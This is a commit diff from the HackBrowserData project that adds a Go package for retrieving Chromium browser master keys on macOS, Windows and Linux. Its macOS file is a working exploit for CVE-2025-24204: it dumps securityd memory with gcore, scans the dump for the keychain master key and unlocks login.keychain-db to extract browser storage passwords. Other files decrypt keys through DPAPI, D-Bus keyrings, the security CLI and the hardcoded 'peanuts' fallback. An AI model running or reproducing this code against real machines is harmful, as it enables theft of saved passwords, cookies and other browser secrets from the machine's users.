mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-19 18:58:03 +02:00
feat: add crypto/keyretriever with keychainbreaker integration (#518)
* feat: add crypto/keyretriever package for Chromium master key retrieval * feat: complete keyretriever with gcoredump, chainbreaker, and tests * refactor: replace internal chainbreaker with keychainbreaker v0.1.0 Replace the incomplete internal chainbreaker implementation (~1400 lines of duplicated code) with the external keychainbreaker package, which provides a complete, well-tested keychain parsing library. Changes: - Add github.com/moond4rk/keychainbreaker v0.1.0 dependency - Update gcoredump_darwin.go to use keychainbreaker API (Open/Unlock/GenericPasswords) - Add KeychainPasswordRetriever for password-based keychain unlocking with sync.Once caching across multiple browser queries - Unify DefaultRetriever(keychainPassword string) signature across all platforms - Delete utils/chainbreaker/ (696 lines + test + testdata) - Delete crypto/keyretriever/chainbreaker_darwin.go (696 lines duplicate) - Delete browser/exploit/gcoredump/ (duplicate of keyretriever version) - Update chromium_darwin.go to use keyretriever.DecryptKeychain - Clean up .golangci.yml lint exceptions and .gitignore entries - Use errors.Is() instead of == for context.DeadlineExceeded check * refactor: improve gcoredump exploit code quality and add comments * fix: address Copilot review feedback on keyretriever
This commit is contained in:
@@ -0,0 +1,246 @@
|
||||
//go:build darwin
|
||||
|
||||
package keyretriever
|
||||
|
||||
// CVE-2025-24204: macOS securityd TCC bypass via gcore.
|
||||
// The gcore binary holds the com.apple.system-task-ports.read entitlement,
|
||||
// allowing any root process to dump securityd memory without a TCC prompt.
|
||||
// We scan the dump for the 24-byte keychain master key, then use it to
|
||||
// extract browser storage passwords from login.keychain-db.
|
||||
//
|
||||
// References:
|
||||
// - https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
|
||||
// - https://support.apple.com/en-us/122373
|
||||
|
||||
import (
|
||||
"debug/macho"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
|
||||
"github.com/moond4rk/keychainbreaker"
|
||||
)
|
||||
|
||||
var (
|
||||
homeDir, _ = os.UserHomeDir()
|
||||
loginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
|
||||
)
|
||||
|
||||
// findProcessByName returns the PID of the first process matching name.
|
||||
// If forceRoot is true, only matches processes owned by root (uid 0).
|
||||
func findProcessByName(name string, forceRoot bool) (int, error) {
|
||||
buf, err := unix.SysctlRaw("kern.proc.all")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
|
||||
}
|
||||
|
||||
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
|
||||
if len(buf)%kinfoSize != 0 {
|
||||
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
|
||||
}
|
||||
|
||||
count := len(buf) / kinfoSize
|
||||
for i := 0; i < count; i++ {
|
||||
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
|
||||
pname := byteSliceToString(proc.Proc.P_comm[:])
|
||||
if pname == name {
|
||||
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
|
||||
return int(proc.Proc.P_pid), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("securityd process not found")
|
||||
}
|
||||
|
||||
type addressRange struct {
|
||||
start uint64
|
||||
end uint64
|
||||
}
|
||||
|
||||
// DecryptKeychain extracts the browser storage password from login.keychain-db
|
||||
// by dumping securityd memory and scanning for the keychain master key.
|
||||
// Requires root privileges.
|
||||
func DecryptKeychain(storagename string) (string, error) {
|
||||
if os.Geteuid() != 0 {
|
||||
return "", errors.New("requires root privileges")
|
||||
}
|
||||
|
||||
pid, err := findProcessByName("securityd", true)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to find securityd pid: %w", err)
|
||||
}
|
||||
|
||||
// gcore appends ".PID" to the -o prefix, e.g. prefix.123
|
||||
corePrefix := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
|
||||
corePath := fmt.Sprintf("%s.%d", corePrefix, pid)
|
||||
defer os.Remove(corePath)
|
||||
|
||||
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePrefix, strconv.Itoa(pid))
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
|
||||
}
|
||||
|
||||
// vmmap identifies MALLOC_SMALL heap regions where securityd stores keys
|
||||
regions, err := findMallocSmallRegions(pid)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
|
||||
}
|
||||
|
||||
candidates, err := scanMasterKeyCandidates(corePath, regions)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if len(candidates) == 0 {
|
||||
return "", fmt.Errorf("no master key candidates found in securityd memory")
|
||||
}
|
||||
|
||||
// read keychain file once, reuse buffer for each candidate
|
||||
keychainBuf, err := os.ReadFile(loginKeychainPath)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("read keychain: %w", err)
|
||||
}
|
||||
|
||||
// try each candidate key against the keychain
|
||||
for _, candidate := range candidates {
|
||||
kc, err := keychainbreaker.Open(keychainbreaker.WithBytes(keychainBuf))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if err := kc.Unlock(keychainbreaker.WithKey(candidate)); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
records, err := kc.GenericPasswords()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, rec := range records {
|
||||
if rec.Account == storagename {
|
||||
return string(rec.Password), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("tried %d candidates, none matched storage %q", len(candidates), storagename)
|
||||
}
|
||||
|
||||
// scanMasterKeyCandidates scans the core dump for 24-byte master key candidates.
|
||||
//
|
||||
// securityd stores the master key in a MALLOC_SMALL region with the layout:
|
||||
//
|
||||
// [0x18 (8 bytes)] [pointer to key data (8 bytes)]
|
||||
//
|
||||
// 0x18 = 24 is the key length. The pointer references a 24-byte buffer
|
||||
// within the same region containing the raw master key.
|
||||
func scanMasterKeyCandidates(corePath string, regions []addressRange) ([]string, error) {
|
||||
cmf, err := macho.Open(corePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to open core dump: %w", err)
|
||||
}
|
||||
defer cmf.Close()
|
||||
|
||||
var candidates []string
|
||||
seen := make(map[string]struct{})
|
||||
for _, region := range regions {
|
||||
data, vaddr, err := getMallocSmallRegionData(cmf, region)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for i := 0; i < len(data)-16; i += 8 {
|
||||
// look for the length marker (0x18 = 24 bytes)
|
||||
val := binary.LittleEndian.Uint64(data[i : i+8])
|
||||
if val != 0x18 {
|
||||
continue
|
||||
}
|
||||
// next 8 bytes should be a pointer within this region
|
||||
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
|
||||
if ptr < region.start || ptr > region.end {
|
||||
continue
|
||||
}
|
||||
// read 24 bytes at the pointer offset
|
||||
offset := ptr - vaddr
|
||||
if offset+0x18 > uint64(len(data)) {
|
||||
continue
|
||||
}
|
||||
masterKey := make([]byte, 0x18)
|
||||
copy(masterKey, data[offset:offset+0x18])
|
||||
keyStr := fmt.Sprintf("%x", masterKey)
|
||||
if _, found := seen[keyStr]; !found {
|
||||
candidates = append(candidates, keyStr)
|
||||
seen[keyStr] = struct{}{}
|
||||
}
|
||||
}
|
||||
}
|
||||
return candidates, nil
|
||||
}
|
||||
|
||||
// findMallocSmallRegions parses vmmap output to find MALLOC_SMALL heap regions.
|
||||
func findMallocSmallRegions(pid int) ([]addressRange, error) {
|
||||
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var regions []addressRange
|
||||
lines := strings.Split(string(output), "\n")
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, "MALLOC_SMALL") {
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) < 2 {
|
||||
continue
|
||||
}
|
||||
rangeParts := strings.Split(parts[1], "-")
|
||||
if len(rangeParts) != 2 {
|
||||
continue
|
||||
}
|
||||
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
regions = append(regions, addressRange{start: start, end: end})
|
||||
}
|
||||
}
|
||||
return regions, nil
|
||||
}
|
||||
|
||||
// getMallocSmallRegionData finds the Mach-O segment matching the given
|
||||
// address range and returns its raw data and virtual address.
|
||||
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
|
||||
for _, seg := range f.Loads {
|
||||
if s, ok := seg.(*macho.Segment); ok {
|
||||
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
|
||||
data := make([]byte, s.Filesz)
|
||||
_, err := s.ReadAt(data, 0)
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
return data, s.Addr, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil, 0, fmt.Errorf("region not found in core dump")
|
||||
}
|
||||
|
||||
func byteSliceToString(s []byte) string {
|
||||
for i, v := range s {
|
||||
if v == 0 {
|
||||
return string(s[:i])
|
||||
}
|
||||
}
|
||||
return string(s)
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
package keyretriever
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// KeyRetriever retrieves the master encryption key for a Chromium-based browser.
|
||||
// Each platform has different implementations:
|
||||
// - macOS: Keychain access (security command) or gcoredump exploit
|
||||
// - Windows: DPAPI decryption of Local State file
|
||||
// - Linux: D-Bus Secret Service or fallback to "peanuts" password
|
||||
type KeyRetriever interface {
|
||||
RetrieveKey(storage, localStatePath string) ([]byte, error)
|
||||
}
|
||||
|
||||
// ChainRetriever tries multiple retrievers in order, returning the first success.
|
||||
// Used on macOS (gcoredump → password → security) and Linux (D-Bus → peanuts).
|
||||
type ChainRetriever struct {
|
||||
retrievers []KeyRetriever
|
||||
}
|
||||
|
||||
// NewChain creates a ChainRetriever that tries each retriever in order.
|
||||
func NewChain(retrievers ...KeyRetriever) KeyRetriever {
|
||||
return &ChainRetriever{retrievers: retrievers}
|
||||
}
|
||||
|
||||
func (c *ChainRetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) {
|
||||
var errs []error
|
||||
for _, r := range c.retrievers {
|
||||
key, err := r.RetrieveKey(storage, localStatePath)
|
||||
if err == nil && len(key) > 0 {
|
||||
return key, nil
|
||||
}
|
||||
if err != nil {
|
||||
errs = append(errs, fmt.Errorf("%T: %w", r, err))
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("all retrievers failed: %w", errors.Join(errs...))
|
||||
}
|
||||
@@ -0,0 +1,130 @@
|
||||
//go:build darwin
|
||||
|
||||
package keyretriever
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/sha1"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/moond4rk/keychainbreaker"
|
||||
)
|
||||
|
||||
// https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
|
||||
var darwinParams = pbkdf2Params{
|
||||
salt: []byte("saltysalt"),
|
||||
iterations: 1003,
|
||||
keyLen: 16,
|
||||
hashFunc: sha1.New,
|
||||
}
|
||||
|
||||
// securityCmdTimeout is the maximum time to wait for the security command.
|
||||
const securityCmdTimeout = 30 * time.Second
|
||||
|
||||
// GcoredumpRetriever uses CVE-2025-24204 to extract keychain secrets
|
||||
// by dumping the securityd process memory. Requires root privileges.
|
||||
type GcoredumpRetriever struct{}
|
||||
|
||||
func (r *GcoredumpRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
||||
secret, err := DecryptKeychain(storage)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("gcoredump: %w", err)
|
||||
}
|
||||
if secret == "" {
|
||||
return nil, fmt.Errorf("gcoredump: empty secret for %s", storage)
|
||||
}
|
||||
return darwinParams.deriveKey([]byte(secret)), nil
|
||||
}
|
||||
|
||||
// KeychainPasswordRetriever unlocks login.keychain-db directly using the
|
||||
// user's macOS login password. No root privileges required.
|
||||
// The keychain is opened and decrypted only once; subsequent calls
|
||||
// for different browsers reuse the cached records.
|
||||
type KeychainPasswordRetriever struct {
|
||||
Password string
|
||||
|
||||
once sync.Once
|
||||
records []keychainbreaker.GenericPassword
|
||||
err error
|
||||
}
|
||||
|
||||
func (r *KeychainPasswordRetriever) loadRecords() {
|
||||
kc, err := keychainbreaker.Open()
|
||||
if err != nil {
|
||||
r.err = fmt.Errorf("open keychain: %w", err)
|
||||
return
|
||||
}
|
||||
if err := kc.Unlock(keychainbreaker.WithPassword(r.Password)); err != nil {
|
||||
r.err = fmt.Errorf("unlock keychain: %w", err)
|
||||
return
|
||||
}
|
||||
r.records, r.err = kc.GenericPasswords()
|
||||
}
|
||||
|
||||
func (r *KeychainPasswordRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
||||
if r.Password == "" {
|
||||
return nil, fmt.Errorf("keychain password not provided")
|
||||
}
|
||||
|
||||
r.once.Do(r.loadRecords)
|
||||
if r.err != nil {
|
||||
return nil, r.err
|
||||
}
|
||||
|
||||
for _, rec := range r.records {
|
||||
if rec.Account == storage {
|
||||
return darwinParams.deriveKey(rec.Password), nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("storage %q not found in keychain", storage)
|
||||
}
|
||||
|
||||
// SecurityCmdRetriever uses macOS `security` CLI to query Keychain.
|
||||
// This may trigger a password dialog on macOS.
|
||||
type SecurityCmdRetriever struct{}
|
||||
|
||||
func (r *SecurityCmdRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), securityCmdTimeout)
|
||||
defer cancel()
|
||||
|
||||
var stdout, stderr bytes.Buffer
|
||||
cmd := exec.CommandContext(ctx, "security", "find-generic-password", "-wa", strings.TrimSpace(storage)) //nolint:gosec
|
||||
cmd.Stdout = &stdout
|
||||
cmd.Stderr = &stderr
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
if errors.Is(ctx.Err(), context.DeadlineExceeded) {
|
||||
return nil, fmt.Errorf("security command timed out after %s", securityCmdTimeout)
|
||||
}
|
||||
return nil, fmt.Errorf("security command: %w (%s)", err, strings.TrimSpace(stderr.String()))
|
||||
}
|
||||
if stderr.Len() > 0 {
|
||||
return nil, fmt.Errorf("keychain: %s", strings.TrimSpace(stderr.String()))
|
||||
}
|
||||
|
||||
secret := bytes.TrimSpace(stdout.Bytes())
|
||||
if len(secret) == 0 {
|
||||
return nil, fmt.Errorf("keychain: empty secret for %s", storage)
|
||||
}
|
||||
|
||||
return darwinParams.deriveKey(secret), nil
|
||||
}
|
||||
|
||||
// DefaultRetriever returns the macOS retriever chain.
|
||||
// If keychainPassword is provided, the password-based retriever is included.
|
||||
func DefaultRetriever(keychainPassword string) KeyRetriever {
|
||||
retrievers := []KeyRetriever{
|
||||
&GcoredumpRetriever{},
|
||||
}
|
||||
if keychainPassword != "" {
|
||||
retrievers = append(retrievers, &KeychainPasswordRetriever{Password: keychainPassword})
|
||||
}
|
||||
retrievers = append(retrievers, &SecurityCmdRetriever{})
|
||||
return NewChain(retrievers...)
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
//go:build linux
|
||||
|
||||
package keyretriever
|
||||
|
||||
import (
|
||||
"crypto/sha1"
|
||||
"fmt"
|
||||
|
||||
"github.com/godbus/dbus/v5"
|
||||
keyring "github.com/ppacher/go-dbus-keyring"
|
||||
)
|
||||
|
||||
// https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc
|
||||
var linuxParams = pbkdf2Params{
|
||||
salt: []byte("saltysalt"),
|
||||
iterations: 1,
|
||||
keyLen: 16,
|
||||
hashFunc: sha1.New,
|
||||
}
|
||||
|
||||
// DBusRetriever queries GNOME Keyring / KDE Wallet via D-Bus Secret Service.
|
||||
type DBusRetriever struct{}
|
||||
|
||||
func (r *DBusRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
||||
conn, err := dbus.SessionBus()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("dbus session: %w", err)
|
||||
}
|
||||
|
||||
svc, err := keyring.GetSecretService(conn)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("secret service: %w", err)
|
||||
}
|
||||
|
||||
session, err := svc.OpenSession()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("open session: %w", err)
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
collections, err := svc.GetAllCollections()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("get collections: %w", err)
|
||||
}
|
||||
|
||||
for _, col := range collections {
|
||||
items, err := col.GetAllItems()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, item := range items {
|
||||
label, err := item.GetLabel()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if label == storage {
|
||||
secret, err := item.GetSecret(session.Path())
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("get secret for %s: %w", storage, err)
|
||||
}
|
||||
if len(secret.Value) > 0 {
|
||||
return linuxParams.deriveKey(secret.Value), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("secret %q not found in keyring", storage)
|
||||
}
|
||||
|
||||
// FallbackRetriever uses the hardcoded "peanuts" password when D-Bus is unavailable.
|
||||
// https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc;l=100
|
||||
type FallbackRetriever struct{}
|
||||
|
||||
func (r *FallbackRetriever) RetrieveKey(_, _ string) ([]byte, error) {
|
||||
return linuxParams.deriveKey([]byte("peanuts")), nil
|
||||
}
|
||||
|
||||
// DefaultRetriever returns the Linux retriever chain:
|
||||
// D-Bus Secret Service first, then "peanuts" fallback.
|
||||
// The keychainPassword parameter is unused on Linux.
|
||||
func DefaultRetriever(_ string) KeyRetriever {
|
||||
return NewChain(
|
||||
&DBusRetriever{},
|
||||
&FallbackRetriever{},
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package keyretriever
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
type mockRetriever struct {
|
||||
key []byte
|
||||
err error
|
||||
}
|
||||
|
||||
func (m *mockRetriever) RetrieveKey(_, _ string) ([]byte, error) {
|
||||
return m.key, m.err
|
||||
}
|
||||
|
||||
func TestChainRetriever_FirstSuccess(t *testing.T) {
|
||||
chain := NewChain(
|
||||
&mockRetriever{key: []byte("first-key")},
|
||||
&mockRetriever{key: []byte("second-key")},
|
||||
)
|
||||
key, err := chain.RetrieveKey("Chrome", "")
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, []byte("first-key"), key)
|
||||
}
|
||||
|
||||
func TestChainRetriever_FallbackOnError(t *testing.T) {
|
||||
chain := NewChain(
|
||||
&mockRetriever{err: errors.New("first failed")},
|
||||
&mockRetriever{key: []byte("fallback-key")},
|
||||
)
|
||||
key, err := chain.RetrieveKey("Chrome", "")
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, []byte("fallback-key"), key)
|
||||
}
|
||||
|
||||
func TestChainRetriever_AllFail(t *testing.T) {
|
||||
chain := NewChain(
|
||||
&mockRetriever{err: errors.New("first failed")},
|
||||
&mockRetriever{err: errors.New("second failed")},
|
||||
)
|
||||
key, err := chain.RetrieveKey("Chrome", "")
|
||||
assert.Error(t, err)
|
||||
assert.Nil(t, key)
|
||||
assert.Contains(t, err.Error(), "all retrievers failed")
|
||||
assert.Contains(t, err.Error(), "first failed")
|
||||
assert.Contains(t, err.Error(), "second failed")
|
||||
}
|
||||
|
||||
func TestChainRetriever_SkipEmptyKey(t *testing.T) {
|
||||
// First returns nil key without error — should skip to next
|
||||
chain := NewChain(
|
||||
&mockRetriever{key: nil, err: nil},
|
||||
&mockRetriever{key: []byte("real-key")},
|
||||
)
|
||||
key, err := chain.RetrieveKey("Chrome", "")
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, []byte("real-key"), key)
|
||||
}
|
||||
|
||||
func TestChainRetriever_Empty(t *testing.T) {
|
||||
chain := NewChain()
|
||||
key, err := chain.RetrieveKey("Chrome", "")
|
||||
assert.Error(t, err)
|
||||
assert.Nil(t, key)
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
//go:build windows
|
||||
|
||||
package keyretriever
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/tidwall/gjson"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||
)
|
||||
|
||||
// DPAPIRetriever reads the encrypted key from Chrome's Local State file
|
||||
// and decrypts it using Windows DPAPI.
|
||||
type DPAPIRetriever struct{}
|
||||
|
||||
func (r *DPAPIRetriever) RetrieveKey(_, localStatePath string) ([]byte, error) {
|
||||
data, err := os.ReadFile(localStatePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read Local State: %w", err)
|
||||
}
|
||||
|
||||
encryptedKey := gjson.GetBytes(data, "os_crypt.encrypted_key")
|
||||
if !encryptedKey.Exists() {
|
||||
return nil, fmt.Errorf("os_crypt.encrypted_key not found in Local State")
|
||||
}
|
||||
|
||||
keyBytes, err := base64.StdEncoding.DecodeString(encryptedKey.String())
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("base64 decode encrypted_key: %w", err)
|
||||
}
|
||||
|
||||
// First 5 bytes are the "DPAPI" prefix, validate and skip them
|
||||
const dpapiPrefix = "DPAPI"
|
||||
if len(keyBytes) <= len(dpapiPrefix) {
|
||||
return nil, fmt.Errorf("encrypted_key too short: %d bytes", len(keyBytes))
|
||||
}
|
||||
if string(keyBytes[:len(dpapiPrefix)]) != dpapiPrefix {
|
||||
return nil, fmt.Errorf("encrypted_key unexpected prefix: got %q, want %q", keyBytes[:len(dpapiPrefix)], dpapiPrefix)
|
||||
}
|
||||
|
||||
masterKey, err := crypto.DecryptWithDPAPI(keyBytes[len(dpapiPrefix):])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("DPAPI decrypt: %w", err)
|
||||
}
|
||||
return masterKey, nil
|
||||
}
|
||||
|
||||
// DefaultRetriever returns the Windows retriever (DPAPI only).
|
||||
// The keychainPassword parameter is unused on Windows.
|
||||
func DefaultRetriever(_ string) KeyRetriever {
|
||||
return &DPAPIRetriever{}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
package keyretriever
|
||||
|
||||
import (
|
||||
"hash"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||
)
|
||||
|
||||
// pbkdf2Params holds platform-specific PBKDF2 key derivation parameters.
|
||||
// Each platform file defines its own params variable.
|
||||
type pbkdf2Params struct {
|
||||
salt []byte
|
||||
iterations int
|
||||
keyLen int
|
||||
hashFunc func() hash.Hash
|
||||
}
|
||||
|
||||
// deriveKey derives an encryption key from a secret using PBKDF2.
|
||||
func (p pbkdf2Params) deriveKey(secret []byte) []byte {
|
||||
return crypto.PBKDF2Key(secret, p.salt, p.iterations, p.keyLen, p.hashFunc)
|
||||
}
|
||||
Reference in New Issue
Block a user